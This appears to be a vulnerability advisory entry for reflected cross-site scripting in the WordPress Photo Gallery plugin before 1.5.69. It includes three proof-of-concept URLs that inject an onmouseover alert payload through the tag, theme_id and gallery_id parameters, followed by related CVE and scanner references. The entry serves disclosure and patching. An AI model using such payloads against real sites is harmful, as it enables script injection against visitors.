Lucene search
WpvulndbWPVDB-ID:CFB982B2-8B6D-4345-B3AB-3D2B130B873AHistoryApr 19, 2021 - 12:00 a.m.
Photo Gallery < 1.5.69 - Multiple Reflected Cross-Site Scripting (XSS)
2021-04-1900:00:00
wpscan.com
12
0.001 Low
EPSS
Percentile
42.0%
The plugin was vulnerable to Reflected Cross-Site Scripting (XSS) issues via the gallery_id, tag, album_id and theme_id GET parameters passed to the bwg_frontend_data AJAX action (available to both unauthenticated and authenticated users)
PoC
https://example.com/wp-admin/admin-ajax.php?action=bwg_frontend_data&tag;=" onmouseover=alert(1)> https://example.com/wp-admin/admin-ajax.php?action=bwg_frontend_data&theme;_id=" onmouseover=alert(1)> https://example.com/wp-admin/admin-ajax.php?action=bwg_frontend_data&gallery;_id=1" onmouseover=alert(1)>
| CPE | Name | Operator | Version |
|---|---|---|---|
| photo-gallery | lt | 1.5.69 |
References
Related
nuclei
nuclei
WordPress Photo Gallery by 10Web <1.5.69 - Cross-Site Scripting
2021-07-26 17:18:45
cve
cve
prion
prion
Cross site scripting
2021-05-14 12:15:00
Cross site scripting
2023-06-07 14:15:00
Design/Logic Flaw
2022-11-29 21:15:00
wpexploit
wpexploit
Photo Gallery < 1.5.69 - Multiple Reflected Cross-Site Scripting (XSS)
2021-04-19 00:00:00
openvas
openvas
WordPress Photo Gallery Plugin < 1.5.69 XSS Vulnerability
2021-06-22 00:00:00
nvd
nvd
cvelist
cvelist
CVE-2021-24291 Photo Gallery < 1.5.69 - Multiple Reflected Cross-Site Scripting (XSS)
2021-05-14 11:38:18
CVE-2021-46889
2023-06-07 00:00:00
CVE-2021-31693
2022-11-29 00:00:00